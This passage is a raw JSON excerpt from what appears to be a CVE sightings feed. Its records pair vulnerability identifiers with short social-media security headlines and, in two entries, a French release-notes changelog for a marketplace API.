priceChange on retailer instead of on organization* [\\#7496](https://github.com/Wishibam/Marketplace-api/pull/7496)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd73Testing**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n        - *Fix some issues with invoice generation* [\\#7532](https://github.com/Wishibam/Marketplace-api/pull/7532)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n    - *feat(invoice): add section pictograms (client, commande, vendeur)* [\\#7536](https://github.com/Wishibam/Marketplace-api/pull/7536)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [TVO - PACKING - Permettre de contourner le packing via bordereau en mettant un N\u00b0 de suivi directement.](https://trello.com/c/DqXF2jwa/2375-tvo-packing-permettre-de-contourner-le-packing-via-bordereau-en-mettant-un-n-de-suivi-directement) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Packing add manual entry for trackingNumber* [\\#7459](https://github.com/Wishibam/Marketplace-api/pull/7459)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n        - *fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter* [\\#7534](https://github.com/Wishibam/Marketplace-api/pull/7534)\n    - [WMS Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-wms-vue-scan-logs-mobile-desktop) **\ud83e\udd73Testing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n    - [\ud83d\ude9a WMS \u00b7 Afficher le transporteur dans la pop-up de tri](https://trello.com/c/YDOgjgEO/2390-%F0%9F%9A%9A-wms-afficher-le-transporteur-dans-la-pop-up-de-tri) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Sorting add carrier name and icon to scan popup* [\\#7535](https://github.com/Wishibam/Marketplace-api/pull/7535)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)\n\n## POST MEP\n$\\n**[PR #7534](https://github.com/Wishibam/Marketplace-api/pull/7534) \u2014 fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter**$\\n\\nAjout de la commande dans un cron$\\n\n", "creation_timestamp": "2026-06-08T10:30:59.000000Z"}, {"uuid": "4c5de49d-52d9-4e2d-adb7-dbaad9db16e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48041", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnrrjchxit2q", "content": "\ud83d\udd17 CVE : CVE-2026-48041", "creation_timestamp": "2026-06-08T13:20:09.844142Z"}, {"uuid": "78802c39-bd72-4791-87a9-d8ce0de52eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnrximtalw2z", "content": "\ud83d\udccc CVE-2026-48095 - 7-Zip is a file archiver with a high compression ratio. Versions 26.00 and prior contain a heap buffer overflow vulnerability caused by an under-alloc... https://www.cyberhub.blog/cves/CVE-2026-48095", "creation_timestamp": "2026-06-08T15:07:08.992027Z"}, {"uuid": "30e4e75c-4600-4cba-a76a-9d693792ba44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116715316110954921", "content": "\ud83d\udcf0 CVSS 10.0 Flaws in Azure HorizonDB and DbGate Expose Cloud Environments to RCE\n\ud83d\udd25 CRITICAL ALERT: Two CVSS 10.0 vulnerabilities disclosed! \ud83d\udea8 Unauthenticated bypass in Azure HorizonDB (CVE-2026-48567) & RCE in DbGate (CVE-2026-47668) pose extreme risk to cloud environments. Patch and restrict access NOW! #CVE #RCE #CyberSecurity\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-cvss-10-flaws-azure-horizondb-dbgate-expose-cloud-environments/?u\u2026", "creation_timestamp": "2026-06-08T16:00:04.599816Z"}, {"uuid": "006c3716-922d-4d58-b594-c9fca412cc07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48441", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt2p4intoz2u", "content": "\ud83d\udccc CVE-2026-48441 - Lightroom Classic is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to ar... https://www.cyberhub.blog/cves/CVE-2026-48441", "creation_timestamp": "2026-08-14T17:37:07.005591Z"}, {"uuid": "43154a60-94f3-492f-a848-7bb3470b6227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48913", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mns4xufmsu2r", "content": "CVE-2026-48913 - Apache HTTP Server: mod_http2 memory corruption when file handles exhausted\nCVE ID : CVE-2026-48913\n \n Published : June 8, 2026, 4:16 p.m. | 17\u00a0minutes ago\n \n Description : Use After Free vulnerability in Apache HTTP Server module mod_http2 when file handles a...", "creation_timestamp": "2026-06-08T16:45:08.367878Z"}, {"uuid": "899899c6-21b8-4aa7-ba6c-82f4455f6af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48488", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mns6uv44732s", "content": "CVE-2026-48488 - phpMyFAQ has Weak Cryptography - SHA1 for Password Hashing\nCVE ID : CVE-2026-48488\n \n Published : June 8, 2026, 4:16 p.m. | 17\u00a0minutes ago\n \n Description : phpMyFAQ is an open source FAQ web application. Prior to version 4.1.4, attachment passwords are hashed ...", "creation_timestamp": "2026-06-08T17:19:15.967805Z"}, {"uuid": "b24c022e-6019-4e98-b7a2-d613455e6c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48913", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mnsq2eqhv22q", "content": "CVE-2026-48913: Apache HTTP Server: mod_http2 memory corruption when file handles exhausted", "creation_timestamp": "2026-06-08T22:26:33.590812Z"}, {"uuid": "e6e8aa4a-2e48-47fa-8b63-90c02be245f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48396", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msegnppkz52c", "content": "\ud83d\udccc CVE-2026-48396 - Bridge is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An at... https://www.cyberhub.blog/cves/CVE-2026-48396", "creation_timestamp": "2026-08-05T21:07:06.882217Z"}, {"uuid": "cb74d3b8-c1cb-4cb9-a075-cc7a664ad02d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48777", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-qqqm-5547-774x", "content": "", "creation_timestamp": "2026-05-22T17:26:25.000000Z"}, {"uuid": "01b7eb44-9bc1-43d3-afed-ceafd621b2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://t.me/pphm_HackerNews/2263", "content": "\ud83d\udd34 WhatsApp Web chats exposed by Adobe\u2019s Acrobat extension flaw\n\nHermeticReader is the name given to a recently disclosed vulnerability in the Adobe Acrobat PDF extension for Chrome, tracked as CVE-2026-48294.\n\nResearchers discovered the issue in early June 2026 and reported it to Adobe, which patched the flaw over a single weekend. They found that a single visit to a malicious website could turn Adobe\u2019s Acrobat Chrome browser extension into a silent spy on your WhatsApp Web conversations.", "creation_timestamp": "2026-08-21T23:00:07.700547Z"}, {"uuid": "186bc966-ac98-4911-bf87-0fa33c533c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48397", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt2qs4ozlc23", "content": "\ud83d\udccc CVE-2026-48397 - Lightroom Classic is affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the... https://www.cyberhub.blog/cves/CVE-2026-48397", "creation_timestamp": "2026-08-14T18:07:08.630530Z"}, {"uuid": "8f588e02-c0d4-44b2-9f30-52370ea9dea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://t.me/pphm_HackerNews/1987", "content": "\ud83d\udd34 Two Critical Joomla Flaws Exploited as Zero-Days\n\nCISA has added two maximum-severity vulnerabilities to its Known Exploited \n\nVulnerabilities catalog:\n\n\u26a0\ufe0f CVE-2026-48939: iCagenda arbitrary file upload\n\n\u26a0\ufe0f CVE-2026-56291: Balbooa Forms unauthenticated remote code execution\n\nBoth flaws carry a CVSS score of 10.0\n\nAttackers can upload malicious PHP files and deploy web shells", "creation_timestamp": "2026-08-21T23:00:09.265293Z"}, {"uuid": "3ef057f2-e179-43cf-ab1a-9820a17898a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48528", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2ucpfdae2e", "content": "CVE-2026-48528 - metacat\nMetacat's data sharing software, used by researchers, has a security weakness that allows hackers to access and manipulate sensitive data without a password. This puts protected\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#metacat #nceas #CVE #infosec", "creation_timestamp": "2026-08-14T19:10:04.499949Z"}, {"uuid": "f645a451-7554-4174-a4be-7edcbfa06872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48087", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3msmu3bbfu72t", "content": "Your Authenticator Just Became the Intruder\u2019s VIP Pass\nPANIC 68% | Lag 0.0h | CVE-2026-48087 lets an attacker abuse a victim's authenticator flow to generate a passkey that can b\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-08-09T05:28:38.074622Z"}, {"uuid": "21415cb4-46d8-4a7e-a7b9-0d18f1b1cf8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/pphm_HackerNews/1704", "content": "\ud83d\udd34 Critical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux.\n\nThe SimpleHelp platform is primarily used by managed service providers (MSPs), IT departments, helpdesks, and system administrators for remote monitoring and management (RMM).\n\nEarlier this month, offensive security company Horizon3.ai published details about CVE-2026-48558, saying that the flaw could be leveraged to create highly privileged technician accounts without authentication.", "creation_timestamp": "2026-08-21T23:00:11.287913Z"}, {"uuid": "252e1347-df76-463b-9b9e-57131ce8f43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnu25zlnl62h", "content": "CISA has added CVE-2026-42271 to its KEV catalog after active exploitation. The LiteLLM command injection flaw can chain with a Starlette auth bypass to enable unauthenticated RCE. #LiteLLM #CVE-2026-42271 #CVE-2026-48710", "creation_timestamp": "2026-06-09T11:00:14.023682Z"}, {"uuid": "6f9452fe-626e-4b76-9052-715552a3dc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48864", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mnu5kisxzq2a", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-48864 impacts libsolv in 20 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/546\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-06-09T12:00:52.729762Z"}, {"uuid": "322d2582-bb67-4117-a5df-76aaff090a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/ebd746093059495cf6cf1d5929e1114c", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [Modification de prix - remboursement](https://trello.com/c/rn8oOmwC/2385-modification-de-prix-remboursement) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Set priceChange on retailer instead of on organization* [\\#7496](https://github.com/Wishibam/Marketplace-api/pull/7496)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n        - *Fix some issues with invoice generation* [\\#7532](https://github.com/Wishibam/Marketplace-api/pull/7532)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n    - *feat(invoice): add section pictograms (client, commande, vendeur)* [\\#7536](https://github.com/Wishibam/Marketplace-api/pull/7536)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [TVO - PACKING - Permettre de contourner le packing via bordereau en mettant un N\u00b0 de suivi directement.](https://trello.com/c/DqXF2jwa/2375-tvo-packing-permettre-de-contourner-le-packing-via-bordereau-en-mettant-un-n-de-suivi-directement) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Packing add manual entry for trackingNumber* [\\#7459](https://github.com/Wishibam/Marketplace-api/pull/7459)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\u2600\ufe0fIn review**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n        - *fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter* [\\#7534](https://github.com/Wishibam/Marketplace-api/pull/7534)\n        - *fix(command): stock alert find variation by eshopId and organization* [\\#7539](https://github.com/Wishibam/Marketplace-api/pull/7539)\n    - [WMS Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-wms-vue-scan-logs-mobile-desktop) **\ud83e\udd73Testing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n    - [\ud83d\ude9a WMS \u00b7 Afficher le transporteur dans la pop-up de tri](https://trello.com/c/YDOgjgEO/2390-%F0%9F%9A%9A-wms-afficher-le-transporteur-dans-la-pop-up-de-tri) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Sorting add carrier name and icon to scan popup* [\\#7535](https://github.com/Wishibam/Marketplace-api/pull/7535)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)\n    - *:sparkles: feat: strip invisible characters from expert mode expressions* [\\#7533](https://github.com/Wishibam/Marketplace-api/pull/7533)\n\n## POST MEP\n$\\n**[PR #7534](https://github.com/Wishibam/Marketplace-api/pull/7534) \u2014 fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter**$\\n\\nAjout de la commande dans un cron$\\n\n", "creation_timestamp": "2026-06-09T12:07:19.000000Z"}, {"uuid": "8c7807b4-19b4-4b97-a2ea-ecba55d8e395", "vulnerability_lookup_origin": 